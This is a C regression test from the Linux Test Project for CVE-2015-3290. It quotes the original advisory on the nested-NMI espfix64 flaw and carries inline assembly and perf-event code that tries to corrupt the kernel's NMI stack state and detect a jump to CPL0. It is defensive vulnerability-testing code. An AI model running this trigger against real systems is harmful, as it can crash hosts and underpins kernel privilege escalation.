1 // SPDX-License-Identifier: GPL-2.0-or-later
2 /*
3 * Copyright (c) 2017 Pavel Boldin <pboldin@cloudlinux.com>
4 * Copyright (c) 2018-2022 Linux Test Project
5 */
6
7 /*
8
9 NOTE: rather than checking for full nested NMI exploitation we simply check
10 that the NMI stack state can be corrupted with this code.
11
12 http://www.openwall.com/lists/oss-security/2015/08/04/8
13
14 > +++++ CVE-2015-3290 +++++
15 >
16 > High impact NMI bug on x86_64 systems 3.13 and newer, embargoed. Also fixed
17 by:
18 >
19 > https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=9b6e6a8334d56354853f9c255d1395c2ba570e0a
20 >
21 > The other fix (synchronous modify_ldt) does *not* fix CVE-2015-3290.
22 >
23 > You can mitigate CVE-2015-3290 by blocking modify_ldt or
24 > perf_event_open using seccomp. A fully-functional, portable, reliable
25 > exploit is privately available and will be published in a week or two.
26 > *Patch your systems*
27
28 And here's a real advisory:
29
30 If an NMI returns via espfix64 and is interrupted during espfix64 setup
31 by another NMI, the return state is corrupt. This is exploitable for
32 reliable privilege escalation on any Linux x86_64 system in which
33 untrusted code can arrange for espfix64 to be invoked and for NMIs to be
34 nested.
35
36 Glossing over a lot of details, the basic structure of Linux' nested NMI
37 handling is:
38
39 nmi_handler:
40 if (in_nmi) {
41 nmi_latched = true;
42 return;
43 }
44 in_nmi = true;
45 handle the nmi;
46 atomically (this is magic):
47 if (nmi_latched) {
48 nmi_latched = false;
49 start over;
50 } else {
51 in_nmi = false;
52 return and unmask NMIs;
53 }
54
55 Alas, on x86_64, there is no reasonable way to block NMIs to run the
56 atomic part of that pseudocode atomically. Instead, the entire atomic
57 piece is implemented by the single instruction IRET.
58
59 But x86_64 is more broken than just that. The IRET instruction does not
60 restore register state correctly [1] when returning to a 16-bit stack
61 segment. x86_64 has a complicated workaround called espfix64. If
62 espfix64 is invoked on return, a well-behaved IRET is emulated by a
63 complicated scheme that involves manually switching stacks. During the
64 stack switch, there is a window of approximately 19 instructions between
65 the start of espfix64's access to the original stack and when espfix64
66 is done with the original stack. If a nested NMI occurs during this
67 window, then the atomic part of the basic nested NMI algorithm is
68 observably non-atomic.
69
70 Depending on exactly where in this window the nested NMI hits, the
71 results vary. Most nested NMIs will corrupt the return context and
72 crash the calling process. Some are harmless except that the nested NMI
73 gets ignored. There is a two-instruction window in which the return
74 context ends up with user-controlled RIP and CS set to __KERNEL_CS.
75
76 A careful exploit (attached) can recover from all the crashy failures
77 and can regenerate a valid *privileged* state if a nested NMI occurs
78 during the two-instruction window. This exploit appears to work
79 reasonably quickly across a fairly wide range of Linux versions.
80
81 If you have SMEP, this exploit is likely to panic the system. Writing
82 a usable exploit against a SMEP system would be considerably more
83 challenging, but it's surely possible.
84
85 Measures like UDEREF are unlikely to help, because this bug is outside
86 any region that can be protected using paging or segmentation tricks.
87 However, recent grsecurity kernels seem to forcibly disable espfix64, so
88 they're not vulnerable in the first place.
89
90 A couple of notes:
91
92 - This exploit's payload just prints the text "CPL0". The exploit
93 will keep going after printing CPL0 so you can enjoy seeing the
94 frequency with which it wins. Interested parties could easily
95 write different payloads. I doubt that any existing exploit
96 mitigation techniques would be useful against this type of
97 attack.
98
99 - If you are using a kernel older than v4.1, a 64-bit build of the
100 exploit will trigger a signal handling bug and crash. Defenders
101 should not rejoice, because the exploit works fine when build
102 as a 32-bit binary or (so I'm told) as an x32 binary.
103
104 - This is the first exploit I've ever written that contains genuine
105 hexadecimal code. The more assembly-minded among you can have
106 fun figuring out why :)
107
108 [1] By "correctly", I mean that the register state ends up different
109 from that which was saved in the stack frame, not that the
110 implementation doesn't match the spec in the microcode author's minds.
111 The spec is simply broken (differently on AMD and Intel hardware,
112 perhaps unsurprisingly.)
113
114 --Andy
115 */
116
117 #include "config.h"
118 #include "tst_test.h"
119 #include "tst_timer.h"
120
121 #if defined(__x86_64__) || defined(__i386__)
122
123 #include <stdlib.h>
124 #include <stdio.h>
125 #include <inttypes.h>
126 #include <asm/ldt.h>
127 #include <unistd.h>
128 #include <sys/syscall.h>
129 #include <setjmp.h>
130 #include <signal.h>
131 #include <string.h>
132 #include <sys/wait.h>
133 #include <linux/perf_event.h>
134
135 #include "lapi/syscalls.h"
136 #include "tst_safe_pthread.h"
137
138 /* Abstractions for some 32-bit vs 64-bit differences. */
139 #ifdef __x86_64__
140 # define REG_IP REG_RIP
141 # define REG_SP REG_RSP
142 # define REG_AX REG_RAX
143
144 struct selectors {
145 unsigned short cs, gs, fs, ss;
146 };
147
148 LTP_ATTRIBUTE_UNUSED
ssptr(ucontext_t * ctx)149 static unsigned short *ssptr(ucontext_t *ctx)
150 {
151 struct selectors *sels = (void *)&ctx->uc_mcontext.gregs[REG_CSGSFS];
152 return &sels->ss;
153 }
154
155 LTP_ATTRIBUTE_UNUSED
csptr(ucontext_t * ctx)156 static unsigned short *csptr(ucontext_t *ctx)
157 {
158 struct selectors *sels = (void *)&ctx->uc_mcontext.gregs[REG_CSGSFS];
159 return &sels->cs;
160 }
161 #else
162 # define REG_IP REG_EIP
163 # define REG_SP REG_ESP
164 # define REG_AX REG_EAX
165 # define REG_CR2 (REG_SS + 3)
166
167 LTP_ATTRIBUTE_UNUSED
ssptr(ucontext_t * ctx)168 static greg_t *ssptr(ucontext_t *ctx)
169 {
170 return &ctx->uc_mcontext.gregs[REG_SS];
171 }
172
173 LTP_ATTRIBUTE_UNUSED
csptr(ucontext_t * ctx)174 static greg_t *csptr(ucontext_t *ctx)
175 {
176 return &ctx->uc_mcontext.gregs[REG_CS];
177 }
178 #endif
179
180 #define LDT_SS 0x7
181 #define MAX_FAILS 1000
182
183 static volatile long expected_rsp;
184 static volatile int fail_count;
185 static int running = 1;
186
set_ldt(void)187 static void set_ldt(void)
188 {
189 /* Boring 16-bit data segment. */
190 const struct user_desc data_desc = {
191 .entry_number = 0,
192 .base_addr = 0,
193 .limit = 0xfffff,
194 .seg_32bit = 0,
195 .contents = 0, /* Data, expand-up */
196 .read_exec_only = 0,
197 .limit_in_pages = 0,
198 .seg_not_present = 0,
199 .useable = 0
200 };
201
202 TEST(tst_syscall(__NR_modify_ldt, 1, &data_desc, sizeof(data_desc)));
203
204 /*
205 * The kernel intentionally casts modify_ldt() return value
206 * to unsigned int to prevent sign extension to 64 bits. This may
207 * result in syscall() returning the value as is instead of setting
208 * errno and returning -1.
209 */
210 if (TST_RET > 0 && ((int)TST_RET) < 0) {
211 tst_res(TINFO,
212 "WARNING: Libc mishandled modify_ldt() return value");
213 TST_ERR = -(int)TST_RET;
214 TST_RET = -1;
215 }
216
217 if (TST_RET == -1 && TST_ERR == EINVAL) {
218 tst_brk(TCONF | TTERRNO,
219 "modify_ldt: 16-bit data segments are probably disabled");
220 } else if (TST_RET != 0) {
221 tst_brk(TBROK | TTERRNO, "modify_ldt");
222 }
223 }
224
try_corrupt_stack(unsigned short * orig_ss)225 static void try_corrupt_stack(unsigned short *orig_ss)
226 {
227 unsigned long flags = 0, new_ss = 0;
228
229 #ifdef __x86_64__
230 asm volatile (
231 /* A small puzzle for the curious reader. */
232 "mov $2048, %%rbp \n\t"
233
234 /* Save rsp for diagnostics */
235 "mov %%rsp, %[expected_rsp] \n\t"
236 "xorq %%rax, %%rax \n\t"
237
238 /*
239 * Let 'er rip.
240 */
241 "mov %[ss], %%edx \n\t"
242 "mov %%edx, %%ss \n\t" /* begin corruption */
243 "movl $1000, %%edx \n\t"
244 "1: decl %%edx \n\t"
245 "jnz 1b \n\t"
246 "mov %%ss, %%eax \n\t" /* grab SS to display */
247
248 /* Did we enter CPL0? */
249 "mov %%cs, %%dx \n\t"
250 "testw $3, %%dx \n\t"
251 "jnz 2f \n\t"
252 "leaq 3f(%%rip), %%rcx \n\t"
253 "movl $0x200, %%r11d \n\t"
254 "sysretq \n\t"
255 "2: \n\t"
256
257 /*
258 * Stop further corruption. We need to check CPL
259 * first because we need RPL == CPL.
260 */
261 "mov (%[orig_ss]), %%ss \n\t" /* end corruption */
262
263 "subq $128, %%rsp \n\t"
264 "pushfq \n\t"
265 "movq (%%rsp),%%rdx \n\t"
266 "addq $136, %%rsp \n\t"
267 "jmp 4f \n\t"
268 "3: int3 \n\t"
269 "4: \n\t"
270 : [expected_rsp] "=m" (expected_rsp), "+d" (flags), "+a" (new_ss)
271 : [ss] "n" (LDT_SS), [orig_ss] "r" (orig_ss)
272 : "rcx", "rbp", "r11", "flags"
273 );
274 #else
275 asm volatile (
276 /* A small puzzle for the curious reader. */
277 "mov %%ebp, %%esi \n\t"
278 "mov $2048, %%ebp \n\t"
279
280 /* Save rsp for diagnostics */
281 "mov %%esp, %[expected_rsp] \n\t"
282 "xorl %%eax, %%eax \n\t"
283
284 /*
285 * Let 'er rip.
286 */
287 "mov %[ss], %%edx \n\t"
288 "mov %%edx, %%ss \n\t" /* begin corruption */
289 "movl $1000, %%edx \n\t"
290 "1: .byte 0xff, 0xca \n\t" /* decl %edx */
291 "jnz 1b \n\t"
292 "mov %%ss, %%eax \n\t" /* grab SS to display */
293
294 /* Did we enter CPL0? */
295 "mov %%cs, %%dx \n\t"
296 "testw $3, %%dx \n\t"
297 "jnz 2f \n\t"
298 ".code64 \n\t"
299 "leaq 3f(%%rip), %%rcx \n\t"
300 "movl $0x200, %%r11d \n\t"
301 "sysretl \n\t"
302 ".code32 \n\t"
303 "2: \n\t"
304
305 /*
306 * Stop further corruption. We need to check CPL
307 * first because we need RPL == CPL.
308 */
309 "mov (%[orig_ss]), %%ss \n\t" /* end corruption */
310
311 "pushf \n\t"
312 "movl (%%esp), %%edx \n\t"
313 "addl $4, %%esp \n\t"
314 "jmp 4f \n\t"
315 "3: int3 \n\t"
316 "4: mov %%esi, %%ebp \n\t"
317 : [expected_rsp] "=m" (expected_rsp), "+d" (flags), "+a" (new_ss)
318 : [ss] "n" (LDT_SS), [orig_ss] "r" (orig_ss)
319 : "ecx", "esi", "ebp", "flags"
320 );
321 #endif
322
323 if (!(flags & (1 << 9))) {
324 tst_res(TFAIL, "Interrupt flag is disabled (0x%lx)", flags);
325 fail_count++;
326 }
327
328 if (new_ss != LDT_SS) {
329 tst_res(TFAIL, "Wrong stack selector 0x%lx, expected 0x%x",
330 new_ss, LDT_SS);
331 fail_count++;
332 }
333 }
334
perf_event_open(struct perf_event_attr * hw_event,pid_t pid,int cpu,int group_fd,unsigned long flags)335 static int perf_event_open(struct perf_event_attr *hw_event, pid_t pid,
336 int cpu, int group_fd, unsigned long flags)
337 {
338 int ret;
339
340 ret = tst_syscall(__NR_perf_event_open, hw_event, pid, cpu,
341 group_fd, flags);
342 return ret;
343 }
344
345 static int event_mlock_kb;
346 static int max_sample_rate;
347
child_thread(void * arg)348 static void *child_thread(void *arg)
349 {
350 /*
351 * orig_ss must not be accessed via address relative to %esp,
352 * otherwise mov %[orig_ss], %%ss above will always segfault
353 */
354 unsigned short *orig_ss = arg;
355 long niter = 0;
356
357 struct perf_event_attr pe = {
358 .size = sizeof(struct perf_event_attr),
359 .disabled = 0,
360 .exclude_kernel = 0,
361 .exclude_hv = 0,
362 .freq = 1,
363 .sample_type = PERF_SAMPLE_IP|PERF_SAMPLE_TID|
364 PERF_SAMPLE_TIME|PERF_SAMPLE_CALLCHAIN|
365 PERF_SAMPLE_ID|PERF_SAMPLE_PERIOD,
366 };
367 /* Workaround bug in GCC 4.4.7 (CentOS6) */
368 pe.sample_freq = max_sample_rate / 5;
369
370 struct {
371 uint32_t type;
372 uint64_t config;
373 const char *name;
374 } perf_events[] = {
375 {
376 .type = PERF_TYPE_HARDWARE,
377 .config = PERF_COUNT_HW_INSTRUCTIONS,
378 .name = "hw instructions",
379 },
380 {
381 .type = PERF_TYPE_HARDWARE,
382 .config = PERF_COUNT_HW_CACHE_REFERENCES,
383 .name = "hw cache references",
384 },
385 };
386
387 void *perf_mmaps[ARRAY_SIZE(perf_events)];
388 unsigned int i;
389
390 for (i = 0; i < ARRAY_SIZE(perf_events); i++) {
391 int fd;
392
393 pe.type = perf_events[i].type;
394 pe.config = perf_events[i].config;
395
396 fd = perf_event_open(&pe, 0, -1, -1, 0);
397 if (fd == -1) {
398 if (errno == EINVAL || errno == ENOENT ||
399 errno == EBUSY)
400 tst_brk(TCONF | TERRNO,
401 "no hardware counters");
402 else
403 tst_brk(TBROK | TERRNO, "perf_event_open");
404 /* tst_brk exits */
405 }
406
407 perf_mmaps[i] = SAFE_MMAP(NULL, event_mlock_kb * 1024,
408 PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
409 SAFE_CLOSE(fd);
410 }
411
412 asm volatile ("mov %%ss, (%0)" :: "r" (orig_ss));
413
414 for (niter = 0; running && niter < 1000*1000*1000L; niter++) {
415
416 try_corrupt_stack(orig_ss);
417
418 /*
419 * If we ended up with IF == 0, there's no easy way to fix
420 * it. Instead, make frequent syscalls to avoid hanging
421 * the system.
422 */
423 syscall(0x3fffffff);
424
425 if (fail_count >= MAX_FAILS) {
426 tst_res(TINFO, "Too many failures, exiting");
427 running = 0;
428 break;
429 }
430 }
431
432 for (i = 0; i < ARRAY_SIZE(perf_events); i++)
433 if (perf_mmaps[i] != MAP_FAILED)
434 SAFE_MUNMAP(perf_mmaps[i], 512 * 1024);
435
436 return (void *)niter;
437 }
438
do_child(void)439 static void do_child(void)
440 {
441 int i, ncpus;
442 pthread_t *threads;
443 long iter, total_iter = 0;
444 unsigned short *orig_ss;
445
446 tst_res(TINFO, "attempting to corrupt nested NMI stack state");
447
448 set_ldt();
449
450 ncpus = tst_ncpus();
451 threads = SAFE_MALLOC(sizeof(*threads) * ncpus);
452 orig_ss = SAFE_MALLOC(sizeof(unsigned short) * ncpus);
453
454 for (i = 0; i < ncpus; i++) {
455 SAFE_PTHREAD_CREATE(&threads[i], NULL, child_thread,
456 &orig_ss[i]);
457 }
458
459 while (running && tst_remaining_runtime())
460 sleep(1);
461
462 running = 0;
463
464 for (i = 0; i < ncpus; i++) {
465 SAFE_PTHREAD_JOIN(threads[i], (void **)&iter);
466 total_iter += iter;
467 }
468 free(orig_ss);
469 free(threads);
470
471 if (fail_count)
472 exit(1);
473
474 tst_res(TPASS, "can't corrupt nested NMI state after %ld iterations",
475 total_iter);
476 }
477
setup(void)478 static void setup(void)
479 {
480 /*
481 * According to perf_event_open's manpage, the official way of
482 * knowing if perf_event_open() support is enabled is checking for
483 * the existence of the file /proc/sys/kernel/perf_event_paranoid.
484 */
485 if (access("/proc/sys/kernel/perf_event_paranoid", F_OK) == -1)
486 tst_brk(TCONF, "Kernel doesn't have perf_event support");
487
488 SAFE_FILE_SCANF("/proc/sys/kernel/perf_event_mlock_kb",
489 "%d", &event_mlock_kb);
490 SAFE_FILE_SCANF("/proc/sys/kernel/perf_event_max_sample_rate",
491 "%d", &max_sample_rate);
492 }
493
run(void)494 static void run(void)
495 {
496 pid_t pid;
497 int status;
498
499
500 pid = SAFE_FORK();
501 if (pid == 0) {
502 do_child();
503 return;
504 }
505
506 SAFE_WAITPID(pid, &status, 0);
507 if (WIFSIGNALED(status) && WTERMSIG(status) == SIGSEGV) {
508 tst_res(TFAIL, "corrupted NMI stack");
509 } else if (WIFSIGNALED(status)) {
510 tst_res(TFAIL, "Child killed by unexpected signal %s",
511 tst_strsig(WTERMSIG(status)));
512 } else if (WIFEXITED(status) && WEXITSTATUS(status) != 0) {
513 tst_res(WEXITSTATUS(status), "Propagate child status");
514 }
515 }
516
517 static struct tst_test test = {
518 .forks_child = 1,
519 .needs_root = 1,
520 .needs_checkpoints = 1,
521 .setup = setup,
522 .runtime = 180,
523 .test_all = run,
524 .tags = (const struct tst_tag[]) {
525 {"linux-git", "9b6e6a8334d5"},
526 {"CVE", "2015-3290"},
527 {}
528 }
529 };
530
531 #else /* defined(__x86_64__) || defined(__i386__) */
532
533 TST_TEST_TCONF("not (i386 or x86_64)");
534
535 #endif
536